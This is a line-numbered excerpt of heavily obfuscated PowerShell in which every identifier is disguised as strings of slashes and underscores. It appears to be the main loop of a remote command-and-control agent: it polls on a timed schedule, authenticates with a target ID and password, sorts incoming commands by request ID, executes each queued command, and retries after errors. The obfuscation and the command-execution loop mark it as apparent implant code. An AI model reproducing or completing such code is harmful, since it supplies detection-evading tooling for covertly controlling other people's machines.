1072 $null = __/\_/==\_/\/\_/=\ -__/==\/====\_/\/=\ ${_/\___/\/==\___/\} -Output ([ref]$output)
1073 ${__/====\____/\__/} = $false
1074 } Catch { Throw }
1075 }
1076 ${_/=\/\/\___/=\/=\} = Get-Date
1077 ${_/\___/\/=\/=\_/\} = (${_/=\/\/\___/=\/=\} - ${____/\/\_/\_/\_/=}).Seconds
1078 If (${_/\___/\/=\/=\_/\} -lt ${___/\_/\/\/\/\/\/}) {
1079 ${_/\__/===\____/\_} = [int][Math]::Ceiling(${___/\_/\/\/\/\/\/} - ${_/\___/\/=\/=\_/\})
1080 Start-sleep -s ${_/\__/===\____/\_}
1081 }
1082 If (${_/=====\/\__/=\/=} -lt (${/==\_/\/==\/\__/=} * ${__/=\/=\_/\/==\__})) {
1083 If (${/==\_/\__/==\/=\_}.Count -gt 0) {
1084 ${_/\___/\/==\___/\} = ${/==\_/\__/==\/=\_}.Dequeue()
1085 Try {
1086 ${_/\/\/\/===\/\___} = $null
1087 $null = __/\_/==\_/\/\_/=\ -__/==\/====\_/\/=\ ${_/\___/\/==\___/\} -Output ([ref]${_/\/\/\/===\/\___})
1088 } Catch {
1089 ${/==\_/\__/==\/=\_}.Enqueue(${_/\___/\/==\___/\})
1090 Throw
1091 }
1092 }
1093 ${____/\/\_/\_/\_/=} = Get-Date
1094 ++${_/=====\/\__/=\/=}
1095 } Else {
1096 Try {
1097 ${__/\___/\_/===\/\} = $null
1098 $null = ___/\_____/\/=\___ -__/\__/=\___/=\/=\ ${__/\__/=\___/=\/=\} -Output ([ref]${__/\___/\_/===\/\})
1099 } Catch {
1100 Throw
1101 }
1102 ${____/\/\_/\_/\_/=} = Get-Date
1103 ${/==\___/===\/=\/=} = New-Object System.Collections.ArrayList
1104 $null = __/=\__/\/==\/\__/ -____/\__/\/==\_/=\ ${__/\___/\_/===\/\} -Output ${/==\___/===\/=\/=}
1105 ${__/\___/\_/===\/\} = ""
1106 $null = _/=\__/==\/==\__/= -__/=\/\__/====\/=\ ${/==\___/===\/=\/=} -Output ([ref]${__/\__/=\___/=\/=\})
1107 ${__/==\/=\___/\/==}.AddRange(${/==\___/===\/=\/=})
1108 If (${__/==\/=\___/\/==}) {
1109 ${/==\___/==\/=\__/} = New-Object System.Collections.ArrayList
1110 $null = __/\_/\/=\/=\_/=\_ -__/=\/\__/====\/=\ ${__/==\/=\___/\/==} -TargetID ${/=\_/\/==\__/==\/} -Password ${/=\/\/\_/=====\__} -Output ${/==\___/==\/=\__/}
1111 If ($NewCommandList) {
1112 ${_/\______/\/\_/\_} = ${/==\___/==\/=\__/} | Sort-Object @{Expression={$_.RequestID}; Ascending=$true}
1113 ${/==\___/==\/=\__/}.Clear()
1114 ${/==\___/==\/=\__/}.AddRange(${_/\______/\/\_/\_})
1115 }
1116 }
1117 If (${/==\___/==\/=\__/}.Count -gt 0) {
1118 Foreach (${/=\/=\/\/===\/\_/} in ${/==\___/==\/=\__/}) {
1119 ${__/\/=\__/\/\/===}.Enqueue(${/=\/=\/\/===\/\_/})
1120 }
1121 ${/==\___/==\/=\__/}.Clear()
1122 }
1123 ++${/==\_/\/==\/\__/=}
1124 }
1125 } Else {
1126 }
1127 ${_/=\/\/\___/=\/=\} = Get-Date
1128 If (${__/\/=\__/\/\/===}.Count -gt 0) {
1129 While (${__/\/=\__/\/\/===}.Count -gt 0) {
1130 $Command = ${__/\/=\__/\/\/===}.Dequeue()
1131 ${/=\/\/\/\___/\/==} = 0
1132 ${_/=\/\/=\__/\___/=} = $null
1133 ${_/=\_/\_/\__/\/=\/} = ""
1134 _/==\_/\/\/===\/\_ -__/\_/==\__/=\___/ $Command -____/\_/==\/==\/\/ ${/==\_/\__/==\/=\_} -Password ${/=\/\/\_/=====\__} -_____/\/\/==\___/\ ${_____/\/\/==\___/\} -___/\/\__/\_/=\_/\ ${___/\/\__/\_/=\_/\} -_______/\/\_/===== ${_______/\/\_/=====} -__/=======\__/\_/\ ([ref]${/=\/\/\/\___/\/==}) -_/=\/\/=\__/\___/= ([ref]${_/=\/\/=\__/\___/=}) -_/=\_/\_/\__/\/=\/ ([ref]${_/=\_/\_/\__/\/=\/})
1135 If (${/=\/\/\/\___/\/==} -ne 0) {
1136 ${___/\/\__/\_/=\_/\} = ${_/=\/\/=\__/\___/=}
1137 ${_______/\/\_/=====} = ${_/=\_/\_/\__/\/=\/}
1138 ${_____/\/\/==\___/\} = ${/=\/\/\/\___/\/==}
1139 }
1140 }
1141 }
1142 } Catch {
1143 ${____/=\_/=\/=\/=\} = $_.Exception
1144 Start-Sleep -s 10
1145 }
1146 }